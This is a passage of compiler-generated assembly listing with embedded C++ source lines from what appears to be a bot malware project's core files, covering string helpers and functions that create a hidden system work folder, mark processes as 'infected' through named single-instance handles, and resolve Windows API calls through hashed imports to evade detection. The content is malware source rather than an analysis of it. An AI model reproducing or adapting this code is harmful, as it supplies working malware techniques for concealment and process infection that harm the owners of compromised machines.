  0000d	74 07		 je	 SHORT $LN1@scalar@2
  0000f	56		 push	 esi
  00010	e8 00 00 00 00	 call	 ??3TBotObject@@SAXPAX@Z	; TBotObject::operator delete
  00015	59		 pop	 ecx
$LN1@scalar@2:
  00016	8b c6		 mov	 eax, esi
  00018	5e		 pop	 esi
  00019	c2 04 00	 ret	 4
??_G?$TString@D@@UAEPAXI@Z ENDP				; TString<char>::`scalar deleting destructor'
_TEXT	ENDS
PUBLIC	?LongToStr@?$TString@D@@QAEAAV1@K@Z		; TString<char>::LongToStr
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp
;	COMDAT ?LongToStr@?$TString@D@@QAEAAV1@K@Z
_TEXT	SEGMENT
_n$ = -4						; size = 4
_num$ = 8						; size = 4
?LongToStr@?$TString@D@@QAEAAV1@K@Z PROC		; TString<char>::LongToStr, COMDAT
; _this$ = ecx
; 863  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	51		 push	 ecx
  00004	56		 push	 esi
  00005	57		 push	 edi
  00006	8b f9		 mov	 edi, ecx
; 864  : 	STRBUF::Release<TChar>(Data);
  00008	8d 77 04	 lea	 esi, DWORD PTR [edi+4]
  0000b	56		 push	 esi
  0000c	e8 00 00 00 00	 call	 ??$Release@D@STRBUF@@YAXAAPAD@Z ; STRBUF::Release<char>
; 865  : 	int n = 0;
  00011	83 65 fc 00	 and	 DWORD PTR _n$[ebp], 0
; 866  : 	STRUTILS<TChar>::LongToString(num, NULL, n);
  00015	8d 45 fc	 lea	 eax, DWORD PTR _n$[ebp]
  00018	50		 push	 eax
  00019	6a 00		 push	 0
  0001b	ff 75 08	 push	 DWORD PTR _num$[ebp]
  0001e	e8 00 00 00 00	 call	 ?LongToString@?$STRUTILS@D@@SAXKPADAAH@Z ; STRUTILS<char>::LongToString
  00023	83 c4 10	 add	 esp, 16			; 00000010H
; 867  : 	SetLength(n);
  00026	ff 75 fc	 push	 DWORD PTR _n$[ebp]
  00029	8b cf		 mov	 ecx, edi
  0002b	e8 00 00 00 00	 call	 ?SetLength@?$TString@D@@QAEXK@Z ; TString<char>::SetLength
; 868  : 	STRUTILS<TChar>::LongToString(num, Data, n);
  00030	8d 45 fc	 lea	 eax, DWORD PTR _n$[ebp]
  00033	50		 push	 eax
  00034	ff 36		 push	 DWORD PTR [esi]
  00036	ff 75 08	 push	 DWORD PTR _num$[ebp]
  00039	e8 00 00 00 00	 call	 ?LongToString@?$STRUTILS@D@@SAXKPADAAH@Z ; STRUTILS<char>::LongToString
  0003e	83 c4 0c	 add	 esp, 12			; 0000000cH
; 869  : 	return *this;
  00041	8b c7		 mov	 eax, edi
  00043	5f		 pop	 edi
  00044	5e		 pop	 esi
; 870  : }
  00045	c9		 leave
  00046	c2 04 00	 ret	 4
?LongToStr@?$TString@D@@QAEAAV1@K@Z ENDP		; TString<char>::LongToStr
_TEXT	ENDS
PUBLIC	??Y?$TString@D@@QAEAAV0@PBD@Z			; TString<char>::operator+=
; Function compile flags: /Ogspy
;	COMDAT ??Y?$TString@D@@QAEAAV0@PBD@Z
_TEXT	SEGMENT
_Source$ = 8						; size = 4
??Y?$TString@D@@QAEAAV0@PBD@Z PROC			; TString<char>::operator+=, COMDAT
; _this$ = ecx
; 929  : 	if (Source)
  00000	83 7c 24 04 00	 cmp	 DWORD PTR _Source$[esp-4], 0
  00005	56		 push	 esi
  00006	8b f1		 mov	 esi, ecx
  00008	74 12		 je	 SHORT $LN1@operator
; 930  :     	STRBUF::Append<TChar>(Data, Source, 0);
  0000a	6a 00		 push	 0
  0000c	ff 74 24 0c	 push	 DWORD PTR _Source$[esp+4]
  00010	8d 46 04	 lea	 eax, DWORD PTR [esi+4]
  00013	50		 push	 eax
  00014	e8 00 00 00 00	 call	 ??$Append@D@STRBUF@@YAXAAPADPBDK@Z ; STRBUF::Append<char>
  00019	83 c4 0c	 add	 esp, 12			; 0000000cH
$LN1@operator:
; 931  : 	return *this;
  0001c	8b c6		 mov	 eax, esi
  0001e	5e		 pop	 esi
; 932  : }
  0001f	c2 04 00	 ret	 4
??Y?$TString@D@@QAEAAV0@PBD@Z ENDP			; TString<char>::operator+=
_TEXT	ENDS
PUBLIC	??_C@_01KICIPPFI@?2?$AA@			; `string'
PUBLIC	?MakeWorkPath@BOT@@YA?AV?$TString@D@@XZ		; BOT::MakeWorkPath
EXTRN	?DirExists@@YA_NPAD@Z:PROC			; DirExists
;	COMDAT ??_C@_01KICIPPFI@?2?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\botutils.cpp
CONST	SEGMENT
??_C@_01KICIPPFI@?2?$AA@ DB '\', 00H			; `string'
; Function compile flags: /Ogspy
CONST	ENDS
;	COMDAT ?MakeWorkPath@BOT@@YA?AV?$TString@D@@XZ
_TEXT	SEGMENT
___$ReturnUdt$ = 8					; size = 4
?MakeWorkPath@BOT@@YA?AV?$TString@D@@XZ PROC		; BOT::MakeWorkPath, COMDAT
; 321  : {
  00000	56		 push	 esi
; 322  : 	// 
; 323  : 	string Result = MakeBotPath();
  00001	8b 74 24 08	 mov	 esi, DWORD PTR ___$ReturnUdt$[esp]
  00005	56		 push	 esi
  00006	e8 00 00 00 00	 call	 ?MakeBotPath@BOT@@YA?AV?$TString@D@@XZ ; BOT::MakeBotPath
  0000b	59		 pop	 ecx
; 324  : 	Result += MakeWorkFolder();
  0000c	e8 00 00 00 00	 call	 ?MakeWorkFolder@BOT@@YAPADXZ ; BOT::MakeWorkFolder
  00011	50		 push	 eax
  00012	8b ce		 mov	 ecx, esi
  00014	e8 00 00 00 00	 call	 ??Y?$TString@D@@QAEAAV0@PBD@Z ; TString<char>::operator+=
; 325  : 	Result += "\\";
  00019	68 00 00 00 00	 push	 OFFSET ??_C@_01KICIPPFI@?2?$AA@
  0001e	8b ce		 mov	 ecx, esi
  00020	e8 00 00 00 00	 call	 ??Y?$TString@D@@QAEAAV0@PBD@Z ; TString<char>::operator+=
; 326  : 
; 327  : 	if (!DirExists(Result.t_str()))
  00025	8b ce		 mov	 ecx, esi
  00027	e8 00 00 00 00	 call	 ?t_str@?$TString@D@@QBEPADXZ ; TString<char>::t_str
  0002c	50		 push	 eax
  0002d	e8 00 00 00 00	 call	 ?DirExists@@YA_NPAD@Z	; DirExists
  00032	59		 pop	 ecx
  00033	84 c0		 test	 al, al
  00035	75 22		 jne	 SHORT $LN1@MakeWorkPa
; 328  : 	{
; 329  : 		pCreateDirectoryA(Result.t_str(), NULL);
  00037	6a 00		 push	 0
  00039	8b ce		 mov	 ecx, esi
  0003b	e8 00 00 00 00	 call	 ?t_str@?$TString@D@@QBEPADXZ ; TString<char>::t_str
  00040	50		 push	 eax
  00041	e8 00 00 00 00	 call	 ??$pushargEx@$00$0KAHDFHH@$0KJ@PADH@@YAPAXPADH@Z ; pushargEx<1,168244599,169,char *,int>
  00046	59		 pop	 ecx
  00047	59		 pop	 ecx
; 330  : 		pSetFileAttributesA(Result.t_str(), FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN);
  00048	6a 06		 push	 6
  0004a	8b ce		 mov	 ecx, esi
  0004c	e8 00 00 00 00	 call	 ?t_str@?$TString@D@@QBEPADXZ ; TString<char>::t_str
  00051	50		 push	 eax
  00052	e8 00 00 00 00	 call	 ??$pushargEx@$00$0ENFFIHLH@$0DK@PADH@@YAPAXPADH@Z ; pushargEx<1,1297450935,58,char *,int>
  00057	59		 pop	 ecx
  00058	59		 pop	 ecx
$LN1@MakeWorkPa:
; 331  :     }
; 332  : 	return Result;
  00059	8b c6		 mov	 eax, esi
  0005b	5e		 pop	 esi
; 333  : }
  0005c	c3		 ret	 0
?MakeWorkPath@BOT@@YA?AV?$TString@D@@XZ ENDP		; BOT::MakeWorkPath
_TEXT	ENDS
PUBLIC	??_C@_02ENLJPMBB@PI?$AA@			; `string'
PUBLIC	?CreateInfectedProcessHandle@@YAPAXK@Z		; CreateInfectedProcessHandle
EXTRN	?TryCreateSingleInstance@@YAPAXPBD@Z:PROC	; TryCreateSingleInstance
EXTRN	?PID@TBotApplication@@QAEKXZ:PROC		; TBotApplication::PID
EXTRN	?Bot@@3PAVTBotApplication@@A:DWORD		; Bot
;	COMDAT ??_C@_02ENLJPMBB@PI?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp
CONST	SEGMENT
??_C@_02ENLJPMBB@PI?$AA@ DB 'PI', 00H			; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\botutils.cpp
CONST	ENDS
;	COMDAT ?CreateInfectedProcessHandle@@YAPAXK@Z
_TEXT	SEGMENT
_Prefix$ = -8						; size = 8
_PID$ = 8						; size = 4
?CreateInfectedProcessHandle@@YAPAXK@Z PROC		; CreateInfectedProcessHandle, COMDAT
; 375  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	51		 push	 ecx
  00004	51		 push	 ecx
; 376  : 	if (!PID) PID = Bot->PID();
  00005	8b 45 08	 mov	 eax, DWORD PTR _PID$[ebp]
  00008	85 c0		 test	 eax, eax
  0000a	75 0b		 jne	 SHORT $LN1@CreateInfe
  0000c	8b 0d 00 00 00
	00		 mov	 ecx, DWORD PTR ?Bot@@3PAVTBotApplication@@A ; Bot
  00012	e8 00 00 00 00	 call	 ?PID@TBotApplication@@QAEKXZ ; TBotApplication::PID
$LN1@CreateInfe:
; 377  : 	string Prefix;
  00017	83 65 fc 00	 and	 DWORD PTR _Prefix$[ebp+4], 0
; 378  : 	Prefix.LongToStr(PID);
  0001b	50		 push	 eax
  0001c	8d 4d f8	 lea	 ecx, DWORD PTR _Prefix$[ebp]
  0001f	c7 45 f8 00 00
	00 00		 mov	 DWORD PTR _Prefix$[ebp], OFFSET ??_7?$TString@D@@6B@
  00026	e8 00 00 00 00	 call	 ?LongToStr@?$TString@D@@QAEAAV1@K@Z ; TString<char>::LongToStr
; 379  : 	Prefix += "PI";
  0002b	68 00 00 00 00	 push	 OFFSET ??_C@_02ENLJPMBB@PI?$AA@
  00030	8d 4d f8	 lea	 ecx, DWORD PTR _Prefix$[ebp]
  00033	e8 00 00 00 00	 call	 ??Y?$TString@D@@QAEAAV0@PBD@Z ; TString<char>::operator+=
; 380  : 	return TryCreateSingleInstance(Prefix.t_str());
  00038	8b 45 fc	 mov	 eax, DWORD PTR _Prefix$[ebp+4]
  0003b	85 c0		 test	 eax, eax
  0003d	75 05		 jne	 SHORT $LN11@CreateInfe
  0003f	b8 00 00 00 00	 mov	 eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
$LN11@CreateInfe:
  00044	56		 push	 esi
  00045	50		 push	 eax
  00046	e8 00 00 00 00	 call	 ?TryCreateSingleInstance@@YAPAXPBD@Z ; TryCreateSingleInstance
  0004b	59		 pop	 ecx
  0004c	8d 4d f8	 lea	 ecx, DWORD PTR _Prefix$[ebp]
  0004f	8b f0		 mov	 esi, eax
  00051	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  00056	8b c6		 mov	 eax, esi
  00058	5e		 pop	 esi
; 381  : }
  00059	c9		 leave
  0005a	c3		 ret	 0
?CreateInfectedProcessHandle@@YAPAXK@Z ENDP		; CreateInfectedProcessHandle
_TEXT	ENDS
PUBLIC	?MarkAsInfcted@BOT@@YAXXZ			; BOT::MarkAsInfcted
; Function compile flags: /Ogspy
;	COMDAT ?MarkAsInfcted@BOT@@YAXXZ
_TEXT	SEGMENT
?MarkAsInfcted@BOT@@YAXXZ PROC				; BOT::MarkAsInfcted, COMDAT
; 390  : 	CreateInfectedProcessHandle(0);
  00000	6a 00		 push	 0
  00002	e8 00 00 00 00	 call	 ?CreateInfectedProcessHandle@@YAPAXK@Z ; CreateInfectedProcessHandle
  00007	59		 pop	 ecx
; 391  : }
  00008	c3		 ret	 0
?MarkAsInfcted@BOT@@YAXXZ ENDP				; BOT::MarkAsInfcted
_TEXT	ENDS
PUBLIC	?ProcessInfected@BOT@@YA_NK@Z			; BOT::ProcessInfected
; Function compile flags: /Ogspy
;	COMDAT ?ProcessInfected@BOT@@YA_NK@Z
_TEXT	SEGMENT
_PID$ = 8						; size = 4
?ProcessInfected@BOT@@YA_NK@Z PROC			; BOT::ProcessInfected, COMDAT
; 400  : {
  00000	56		 push	 esi
; 401  : 	// 
; 402  :     // 
; 403  : 	HANDLE Handle = CreateInfectedProcessHandle(PID);
  00001	ff 74 24 08	 push	 DWORD PTR _PID$[esp]
  00005	e8 00 00 00 00	 call	 ?CreateInfectedProcessHandle@@YAPAXK@Z ; CreateInfectedProcessHandle
  0000a	8b f0		 mov	 esi, eax
; 404  : 	bool Result = Handle == NULL;
; 405  : 	pCloseHandle(Handle);
  0000c	56		 push	 esi
  0000d	e8 00 00 00 00	 call	 ??$pushargEx@$00$0HCDOLANF@$0BB@PAX@@YAPAXPAX@Z ; pushargEx<1,1916711125,17,void *>
  00012	59		 pop	 ecx
  00013	85 f6		 test	 esi, esi
  00015	59		 pop	 ecx
  00016	0f 94 c0	 sete	 al
  00019	5e		 pop	 esi
; 406  : 	return Result;
; 407  : }
  0001a	c3		 ret	 0
?ProcessInfected@BOT@@YA_NK@Z ENDP			; BOT::ProcessInfected
_TEXT	ENDS